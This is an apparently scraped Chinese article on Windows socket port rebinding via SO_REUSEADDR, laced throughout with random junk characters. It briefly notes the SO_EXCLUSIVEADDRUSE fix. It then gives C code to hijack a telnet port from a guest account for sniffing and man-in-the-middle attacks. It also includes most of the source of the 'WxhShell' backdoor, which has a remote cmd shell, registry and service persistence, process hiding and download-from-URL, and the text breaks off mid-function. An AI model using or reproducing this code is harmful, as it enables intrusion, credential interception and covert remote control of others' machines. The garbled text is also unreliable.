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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k
h#|`E#, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RhXX/HFk .K;*uq:0 saddr.sin_family = AF_INET; s%;18V:pi J1P82=$, saddr.sin_addr.s_addr = htonl(INADDR_ANY); C`7HC2Is sw8Ic\vT bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l*xA5ObV 7H++ pOF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 XNd:x{ noGMfZ1 这意味着什么?意味着可以进行如下的攻击: W)$;T%u ^FF{71; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IcI y z35n3q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b{(!Ls_ & R~[
u|EC} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SQW A{f *
vEG%Y 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Dbz\8gmY E&GUg/d 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 V]`V3cy1+3 W;Ox H"eC 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >LwAG:Ud -L</,>p 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /$]dVvhX% ir3iW*5k #include a}El!7RO0 #include j#<#o:If #include K\,&wU #include ] l}8 DWORD WINAPI ClientThread(LPVOID lpParam); SDcD(G int main() %pe7[/ { G2
xYa$&][ WORD wVersionRequested; d cYUw] DWORD ret; RkP7}ZA; WSADATA wsaData; t.485L% BOOL val; d\'M ~VQ SOCKADDR_IN saddr; 0JKbp*H SOCKADDR_IN scaddr; fb&K.6" int err; %~ZOQ%c1 SOCKET s; `"Tx%>E(U SOCKET sc; xBR2tDi% int caddsize; 8!S="_ HANDLE mt; Y&]pC DWORD tid; %fK"g2: wVersionRequested = MAKEWORD( 2, 2 ); e8--qV#< err = WSAStartup( wVersionRequested, &wsaData ); 8 mV`|2> if ( err != 0 ) { J$]d%p_I printf("error!WSAStartup failed!\n"); JY_+p9KfyQ return -1; j;J4]]R;o } qf(!3 saddr.sin_family = AF_INET; {6a";Xj\e \ bd?
`." //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hdfNXZ{A" :X,1KR saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X];a(7+2 saddr.sin_port = htons(23); d+ql@e ] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) po\Q Me { htkn#s~= printf("error!socket failed!\n"); `cMa Fc-y/ return -1; %~}9#0h) } }V6}>!Sb val = TRUE; wNcf7/ky //SO_REUSEADDR选项就是可以实现端口重绑定的 q}1AV7$Ai if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0_,V} { Cp_"PvTmT printf("error!setsockopt failed!\n"); s{Ryh.IyI return -1; y3))I\QT } q71Tg //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !H~G_?Mf\O //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $NT{ssh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^Me__Y Rb',"` 7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }#a d { Ag#p ) ret=GetLastError(); drNfFx2 printf("error!bind failed!\n"); .
p<*n6E return -1; Q<w rO } GyRU/0'BME listen(s,2); +*lSB%`aS while(1) f* p=]]y { )LKutN?tBy caddsize = sizeof(scaddr); m7~kRY514 //接受连接请求 svHs&v sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JY4 +MApN if(sc!=INVALID_SOCKET) 5 ,q uM" { qIuY2b`6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bCy.S.`jHQ if(mt==NULL) vsRn\Y { 8! pfy" printf("Thread Creat Failed!\n"); |r%6;8A]i break; !n@Yg2 w } |J?KHI } "b|qyT* Sl CloseHandle(mt); qMmh2a& } j2k,)MHu!x closesocket(s); at/bes W WSACleanup(); rB<
UOe return 0; M(jSv } Ip|~j}
} DWORD WINAPI ClientThread(LPVOID lpParam) nB`pfg { :BNqr[=b SOCKET ss = (SOCKET)lpParam; Nd%,V SOCKET sc; 7??+8T#n* unsigned char buf[4096]; F
MHpa SOCKADDR_IN saddr; d+\o>x|Y!Y long num; )xoI H{ DWORD val; Pz:,q~ DWORD ret; #JWW ;M6F //如果是隐藏端口应用的话,可以在此处加一些判断 SdeKRZ{o //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Gh>Rt=Qu% saddr.sin_family = AF_INET; UQ}[2x(Kb saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J)"2^?!&B saddr.sin_port = htons(23); 9NBFG~)|l[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p?>(y { &l/2[>D%4 printf("error!socket failed!\n"); 9!NL<}]{ return -1; C-V,3}=*2 } |~Z.l val = 100; 9i;%(b{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B8:G1r5G/ { sC(IeGbX ret = GetLastError(); 6k|o<`~, return -1; _)"-zbh}{ } *:{s|18Pj if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &5h{XSv { F>dB@V- ret = GetLastError(); sf<S#;aYqn return -1; ;6KcX \g- } %@k@tD6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m9 o{y6_j* {
W8z4<o[$ printf("error!socket connect failed!\n"); >E;kM
B closesocket(sc); xQ+UZc closesocket(ss); #^4p(eZ[} return -1; Z-z^0QO } -d1 YG[1| while(1) qIS9.AL { }Go?j#
! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n=J~Rssp //如果是嗅探内容的话,可以再此处进行内容分析和记录 +pXYBwH
7Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b+Vfi9< num = recv(ss,buf,4096,0); %A64AJZ if(num>0) T$rhz)_q send(sc,buf,num,0); )eIC5>#. else if(num==0) h;cl+c|B break; 10R#}~D num = recv(sc,buf,4096,0); VRU"2mQ.P6 if(num>0) fIe';a send(ss,buf,num,0); i^T@jg+K else if(num==0) {*mf Is break; 9^;Cz>6s } M$_E:u&D closesocket(ss); mv] . closesocket(sc); epN>;e z return 0 ; 3r^Ls[ey } m';j#j)w 4fauI%kc ,+2!&"zD ========================================================== ;>hRj! *$e1Bv6
$ 下边附上一个代码,,WXhSHELL tV?- pPL)!=o! ========================================================== X* 4C?v ]31>0yj[Q #include "stdafx.h" {E=BFs f/xQy}4+~E #include <stdio.h> (A(j.[4a #include <string.h> 0JT"Pv_ #include <windows.h> 7N:3 #include <winsock2.h> H(?)v.% #include <winsvc.h> #`]`gNB0Yg #include <urlmon.h> F$/7X~* 68*a'0 #pragma comment (lib, "Ws2_32.lib") [#@\A]LO #pragma comment (lib, "urlmon.lib") m^!Kthq 1;v,rs M #define MAX_USER 100 // 最大客户端连接数 Mi~x(W@}3 #define BUF_SOCK 200 // sock buffer "DO|B=EejP #define KEY_BUFF 255 // 输入 buffer o|G'vMph pO?v$Rjl #define REBOOT 0 // 重启 X9
N4 #define SHUTDOWN 1 // 关机 =jEVHIYt `cQAO1-5 #define DEF_PORT 5000 // 监听端口 C5Vlqc; &]"Z x0t5% #define REG_LEN 16 // 注册表键长度 a yYl3 #define SVC_LEN 80 // NT服务名长度 MgO_gFr YsO3( HS // 从dll定义API mzf~qV^T typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #<K'RJn typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q2b>Z6!5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,ZI#p6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 15z(hzU?# IM$ d~C // wxhshell配置信息 |.KB struct WSCFG { r>#4Sr int ws_port; // 监听端口 ~9y/MR char ws_passstr[REG_LEN]; // 口令 .],:pL9d int ws_autoins; // 安装标记, 1=yes 0=no 1l5'N=hL char ws_regname[REG_LEN]; // 注册表键名 .wV-g:2 char ws_svcname[REG_LEN]; // 服务名 (gRTSd T? char ws_svcdisp[SVC_LEN]; // 服务显示名 ?[]jJ char ws_svcdesc[SVC_LEN]; // 服务描述信息 -x{@D{Q% char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >*/:"!u int ws_downexe; // 下载执行标记, 1=yes 0=no
:yw8_D3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 5dX /< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e?7y$H- ;m=k
FZ? }; V%(T#_E/6 0.S7uH%" // default Wxhshell configuration rf^u&f struct WSCFG wscfg={DEF_PORT, i#NtiZ.t= "xuhuanlingzhe", f?r{Q 1, SdF+b+P] "Wxhshell",
[b+B"f6 "Wxhshell", ]SAGh|+xl "WxhShell Service", 4p7j"d5 "Wrsky Windows CmdShell Service", 27i-B\r "Please Input Your Password: ", NFy V02. 1, #eF,* d " http://www.wrsky.com/wxhshell.exe", 4B9D "Wxhshell.exe" G6}!PEwM }; i= R%MH+ Es- =0gpK // 消息定义模块 k]A=Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]XcWGQv~ char *msg_ws_prompt="\n\r? for help\n\r#>"; ]4/C19Fe! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ._]*Y`5)d char *msg_ws_ext="\n\rExit."; g*Pn_Yo[. char *msg_ws_end="\n\rQuit."; /U,(u9bq char *msg_ws_boot="\n\rReboot..."; fRxn,HyV char *msg_ws_poff="\n\rShutdown..."; iMv):1p>8 char *msg_ws_down="\n\rSave to "; R_9M-RP6* r:PYAb=g char *msg_ws_err="\n\rErr!"; XI:+EeM? char *msg_ws_ok="\n\rOK!"; p(-EtxP #F6<N]i char ExeFile[MAX_PATH]; Z<W f/ int nUser = 0; S(Z\h_m( HANDLE handles[MAX_USER]; o^/ fr&,9 int OsIsNt; 03AQB;. belBdxa{" SERVICE_STATUS serviceStatus; uP$i2Cy SERVICE_STATUS_HANDLE hServiceStatusHandle; P8#_E{f W6`_lGTj // 函数声明 elR1NhB|p int Install(void); >Hmho' int Uninstall(void); w#_7,*6] int DownloadFile(char *sURL, SOCKET wsh);
'SXLnoeTa int Boot(int flag); ~.6% %1? void HideProc(void); 9=FH2|Z int GetOsVer(void); ?9 W2ax-4 int Wxhshell(SOCKET wsl); cd~ QGP_C void TalkWithClient(void *cs); (#x&Y#5 int CmdShell(SOCKET sock); V)4?y9xZv int StartFromService(void); V3 T.EW int StartWxhshell(LPSTR lpCmdLine); *NM* J7`;l6+Gb VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =(~*8hJ VOID WINAPI NTServiceHandler( DWORD fdwControl ); M04u>|
, cp"{W-Q{$ // 数据结构和表定义 foBF]7Bz? SERVICE_TABLE_ENTRY DispatchTable[] = >p#_L^oZ% { Y9
Bk$$#\ {wscfg.ws_svcname, NTServiceMain},
_,v>P2) {NULL, NULL} +6~zMKp }; ,&s"f4Mft D(&Zq7]n // 自我安装 _mQj= int Install(void) tkff\W[JU { oA:`=f%\ char svExeFile[MAX_PATH]; qVO,sKQ{ HKEY key; XF>!~D strcpy(svExeFile,ExeFile); a1ps'^Qhh >I0 a$w // 如果是win9x系统,修改注册表设为自启动 sk_xQo#Y
3 if(!OsIsNt) { =s*4y$%I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UZ6y3%G3^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mVN\ RegCloseKey(key); Eg2SC? 5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `,Y3(=3Xe? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uJ fXe RegCloseKey(key); jK%Lewq return 0; J l{My^I5 } )cL`$h4DD } *.VNyay } >wFn|7\)s> else { I"QU{]|J U'~]^F%eyu // 如果是NT以上系统,安装为系统服务 $" =3e]< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0zsmZ]b5E if (schSCManager!=0) ytb1h Fs { B?e]
Ht SC_HANDLE schService = CreateService g706*o)h ( et(AO)uv6 schSCManager, E8wkqZN wscfg.ws_svcname, K$s{e0
79 wscfg.ws_svcdisp, FBOgaI83G SERVICE_ALL_ACCESS, 79k+R9m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "5Z5x%3I SERVICE_AUTO_START, [By|3bI SERVICE_ERROR_NORMAL, [A]
+Azc svExeFile, v-"nyy-&Z NULL, o h9L2 " NULL, 6(Ntt NULL, 10GU2a$0"$ NULL, ~jz51[{v NULL aN6HO ); dl`{:ZR S if (schService!=0) FF|M7/[~ { a1Q W0d CloseServiceHandle(schService); %F}d'TPx CloseServiceHandle(schSCManager); WY5HmNX3E strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0xaK"\Q strcat(svExeFile,wscfg.ws_svcname); :KGPQ@:O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I SdB5Va RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZqjLZ9?q RegCloseKey(key); YOA)paq+ return 0; u%=2g'+)_ } b?,=|H } zH#urF6< CloseServiceHandle(schSCManager); glBS|b$\: } `joyHKZI. } a6;5mx UA*Kuad return 1; QHnC(b } @%fL*^yr;C VtGZB3 // 自我卸载 r$x;rL4 int Uninstall(void) 1S yG { ft4hzmuzM HKEY key; i|28:FJA
\]dvwN3x if(!OsIsNt) { L@ejFXQg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3~Ap1_9 RegDeleteValue(key,wscfg.ws_regname); 0Fsa&<{6? RegCloseKey(key); k]2_vk^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,3!4
D^ RegDeleteValue(key,wscfg.ws_regname); E@AV?@<sc RegCloseKey(key); ,K|UUosS-# return 0; upZf&4 I8 } e_cK#9+ } cIP%t pTW. } _1~pG)y$U else { Wr'1Y7z aP"!}* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); agQDd8 oX if (schSCManager!=0) 7<Y aw,G { 4U u`1gtz SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KleiX7 if (schService!=0) D'BGoVP { 4=N(@mS if(DeleteService(schService)!=0) { wyXQP+9G CloseServiceHandle(schService); Dv&K3^~Rfb CloseServiceHandle(schSCManager); oArJ%Y> return 0; zJ@^Bw;A^@ } ^`Hb7A(
CloseServiceHandle(schService); }<*KM)% } G^eXJusOv CloseServiceHandle(schSCManager); b[:{\!I } aM(x--UR= } i6g=fx6j* HV*;Yt return 1; ;|:R*(2 } ? nq%'<^^ L|6I // 从指定url下载文件 |--Jd$ dj int DownloadFile(char *sURL, SOCKET wsh) Wrh$`JC { u(\O@5a HRESULT hr; j0s$}FPUI char seps[]= "/"; n=|% H'U char *token; 7!\zo mx char *file; VKf&}u/ char myURL[MAX_PATH]; L0GQH;Y,h char myFILE[MAX_PATH]; %$i}[U w4M;e;8m[U strcpy(myURL,sURL); TPak,h(1 token=strtok(myURL,seps); mrr~ #Bb> while(token!=NULL) W|y;Kxy { beSU[ file=token; k[,0kP; token=strtok(NULL,seps); yc`*zLWh } Ps{vN
~} wm_rU] GetCurrentDirectory(MAX_PATH,myFILE); 1:>F{g strcat(myFILE, "\\"); 5;,h8vW strcat(myFILE, file); F\L!.B send(wsh,myFILE,strlen(myFILE),0); N/--6)5~0 send(wsh,"...",3,0); `b%lojT. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ks@cwY if(hr==S_OK) N_Kdi%q return 0; I~&9c/& else Iy&,1CI"] return 1; aB?usVoS Z#bO}! } yMTO 5~U{ 7nFOVZ // 系统电源模块 ZfK[o{9> int Boot(int flag) 32j}ep.* { .T3 m%n HANDLE hToken; /jGV[_Q=P TOKEN_PRIVILEGES tkp; Bc[~'gn q=V'pML if(OsIsNt) { D79:L: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \C h01LR" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nw0#gDI| tkp.PrivilegeCount = 1; (xRcG+3]; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7.6L1srV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GNe^~ if(flag==REBOOT) { tiHR&v if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >m.. return 0; #j=yQrJ }
^B%=P else { \6JOBR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |E.BGdS return 0; 0FgF, } vIbM@Y4
'? } -p.\fvip else { Np/\}J&IF if(flag==REBOOT) { $i5J} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a4=(z72xe return 0; $R1I(sJ } z+yIP ?s}( else { ?!6Itkg if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O6R)>Y4 return 0; o1x1SH } Bhd)# P } dkZe.pv$j %BP>,E/w return 1; O'mcN* } "4)N]Nj P*OG`%y // win9x进程隐藏模块 q!eE~O;A void HideProc(void) ?<TJ}("/ { MQ-u9=ys 4JAz{aw'b HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1x:W 3. if ( hKernel != NULL ) %
D { ,=P&{38\q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A iM ukd, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1^![8>u" FreeLibrary(hKernel); HcsVq+ }
usB*Wn8 o@e/P;E return; /\w4k } o utJ/~9; olE(#}7V // 获取操作系统版本 OlOOg int GetOsVer(void) H9/!oI1P? { <l{oE?N OSVERSIONINFO winfo; _x,X0ncv]@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [iub}e0 GetVersionEx(&winfo); iBSM
\ n if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "GO!^ZG] return 1; fp' '+R[ else SK}sf9gTv return 0; MA`nFkVK } Z-PBCU `Nx@MPo // 客户端句柄模块 xsZG(Tz int Wxhshell(SOCKET wsl) e*7O!Z=O { # )y`Zz{h SOCKET wsh; Qn*l,Z]US struct sockaddr_in client;
8G:/f3B= DWORD myID; TEz;:* ,CG .G{cx=; while(nUser<MAX_USER) NnLK!Q { gk%nF int nSize=sizeof(client); gNB+e5[; 2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rmX*s}B if(wsh==INVALID_SOCKET) return 1; u#76w74 Lh[0B.g< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ywwA,9~ if(handles[nUser]==0) d&+]@ Ii closesocket(wsh); "iSY;y o else 9\Jc7[b nUser++; Cn~VJ,l
g } wL0[Slf} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <?.eU<+O`S MQoA\ return 0; c]4X`3] } Z@zo~*o _
$F=A // 关闭 socket 32ki ?\P void CloseIt(SOCKET wsh) \s)MNs { }4C_r'd6 closesocket(wsh); rCPIz< nUser--; cGlN*GJ*H ExitThread(0); 2IB{FO/ } a=MN:s?Fc0 syX?O'xJ // 客户端请求句柄 Ae>+Fcv void TalkWithClient(void *cs) dmF=8nff { M/o?D <' PPXwmR SOCKET wsh=(SOCKET)cs; >=N-P<% char pwd[SVC_LEN]; _Raf7 W char cmd[KEY_BUFF]; IWv(GQx char chr[1]; %0Ur3 int i,j; [icD*N<Gc :E")Zw&sW3 while (nUser < MAX_USER) { kkl'D!z2g 01mu6) if(wscfg.ws_passstr) { $ar^U if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DtANb^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H'WYnhU& //ZeroMemory(pwd,KEY_BUFF); 2K:A4)jZ i=0; IHEbT
while(i<SVC_LEN) { i9ySD do8[wej<: // 设置超时 <+*0{8?0
fd_set FdRead; 89M'klZ struct timeval TimeOut; hV@ N-u^ FD_ZERO(&FdRead); &2W"4SE]6 FD_SET(wsh,&FdRead); fqI67E$59 TimeOut.tv_sec=8; lAnq2j| TimeOut.tv_usec=0; U`6|K$@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BH'*I
yv if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Oi\ s yEWm.;&3= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .=eEuH pwd =chr[0]; znrO~OK if(chr[0]==0xd || chr[0]==0xa) { i|{psA pwd=0; r)gK5Mv break; I(M/X/ } kN/YnY*J< i++; G' U_I } 6Amt75RY aL:|Dr3SX // 如果是非法用户,关闭 socket LAC&W;pJ" if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AFi_P\X } K<^p~'f4P -*7i:mg send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3VLwY!2: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3t<a3"{9 ?pZ"7kkD while(1) { _;3, VzXVy)d ZeroMemory(cmd,KEY_BUFF); c!E{fS P {m*lt3$k // 自动支持客户端 telnet标准 "73*0'm j=0; __b4dv while(j<KEY_BUFF) { R3G\Gchd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .F,l>wUNe cmd[j]=chr[0]; KKsVZ~<6u if(chr[0]==0xa || chr[0]==0xd) { l<1zLA~G cmd[j]=0; LM eI[Ji break; 2,:{ 5]Q$ } D _dv8 j++; I3 "6" } <%YW/k"o sgOau\E // 下载文件 rQl9SUs if(strstr(cmd,"http://")) { 4^r6RS@z send(wsh,msg_ws_down,strlen(msg_ws_down),0); CF>&mXg\ if(DownloadFile(cmd,wsh)) UJ,vE}=_{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ja~8ZrcY else I8! .n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2V]a+Cgk } w)ki<Dudg else { Ub\^3f MB;rxUbhe3 switch(cmd[0]) { +c/!R|h=S LBq2({=" // 帮助 z00X
?F case '?': { kxKb}>= send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &Y^4>y% break; 8KJ`+"<=@ } kcUn GiP // 安装 k6"(\d9o case 'i': { j5D Cc,s if(Install()) d-b<_k{p send(wsh,msg_ws_err,strlen(msg_ws_err),0); hdWV vN else rrz([2E2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Mj,\J! break; r-YJ$/J } D7nK"]HG;l // 卸载 ^~N:lW#= case 'r': { ,vLQx\m{ if(Uninstall()) `Kg!aN send(wsh,msg_ws_err,strlen(msg_ws_err),0); I(AlRh else }j2;B 8j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }' tJc $! break; $1 B?@~& } OD7^*j(p` // 显示 wxhshell 所在路径 #w%-IhP case 'p': {
ilQ}{p6I char svExeFile[MAX_PATH]; LU;zpXg\ strcpy(svExeFile,"\n\r"); tl /i strcat(svExeFile,ExeFile); QxG^oxU} send(wsh,svExeFile,strlen(svExeFile),0); eI"pRH*f break; WZ>nA [/ } ML'y`S // 重启 1#cTk case 'b': { ECi;o1hda send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K"VcPDK if(Boot(REBOOT)) cH*")oD send(wsh,msg_ws_err,strlen(msg_ws_err),0); '*L6@e#U else { d)V8FX,t closesocket(wsh); 9#7W+9 ExitThread(0); l0^cdl- } P<Bx1H-z- break; vGlVr.) } pTi7Xy!Cw // 关机 AB\Ya4O"9 case 'd': { z H-a%$5 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `1P|<VbZ if(Boot(SHUTDOWN)) 8#JX#<HEo send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?R)dxuj else { &*"*b\ closesocket(wsh); 2?
yo ExitThread(0); J;Z2<x/H } L(C`<iE&3 break; izcaWt3 a } aOd#f:{y // 获取shell Dq~;h \=' case 's': { )aGSZ1`/ CmdShell(wsh); _b%) closesocket(wsh); Jn=;gtD-* ExitThread(0); +'c+X^_ break; @kh<b<a4 } fWq*Op.]c // 退出 9h6Oq(0b8 case 'x': { -_Z 4)"k send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b9X*2pnWJ CloseIt(wsh); \mh #MMp break; CnL=s6XD' } k*)sz // 离开 8 5ET$YV case 'q': { R)k\ send(wsh,msg_ws_end,strlen(msg_ws_end),0); \\\8{jq closesocket(wsh); LWJ ?p-X WSACleanup(); R`c[?U exit(1); y(QFf*J break; }r@dZBp: } >-N(o2j3 } sq`Xz8u } vb]kh_ "."(<c/3 // 提示信息 lh'S_p8g if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <$e|'}>A } an"~n`g } ;_"|# 1X5g(B
return; PhC3F4 } w1"+HJd L_Gw:"-+Q // shell模块句柄 -%"PqA/1zj int CmdShell(SOCKET sock) TC/c5:)] { BJUj#s0$ STARTUPINFO si; DBHy%i ZeroMemory(&si,sizeof(si)); B%;MGb o si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z,#H\1v3lB si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;9k>;g3m PROCESS_INFORMATION ProcessInfo; iv$YUM+ char cmdline[]="cmd"; 2.z-&lFBZ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1]G)41 return 0; V#dga5*] } vO1; ; \i_E}Ii0 // 自身启动模式 :/|"db&` int StartFromService(void) 4c<
s"2F { QnVr)4" typedef struct ).5X { 3>1^$0iq DWORD ExitStatus; OtqFI!ns DWORD PebBaseAddress; lNL=Yu2p_ DWORD AffinityMask; +>q#eUS) DWORD BasePriority; Vbl-Ff ULONG UniqueProcessId; 12n:)yQy ULONG InheritedFromUniqueProcessId; qazA,|L! } PROCESS_BASIC_INFORMATION; Gc|)4c vt#;j;liG PROCNTQSIP NtQueryInformationProcess; GjhTF| {Uw
0zC static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @zg}x0] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !B3TLeh f(5(V
% HANDLE hProcess; /g<Oh{o8 PROCESS_BASIC_INFORMATION pbi; cFL~<
[>_ kMQ
/9~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SL4?E<Jb if(NULL == hInst ) return 0; Q6Gw!!Z5EA )Zr9
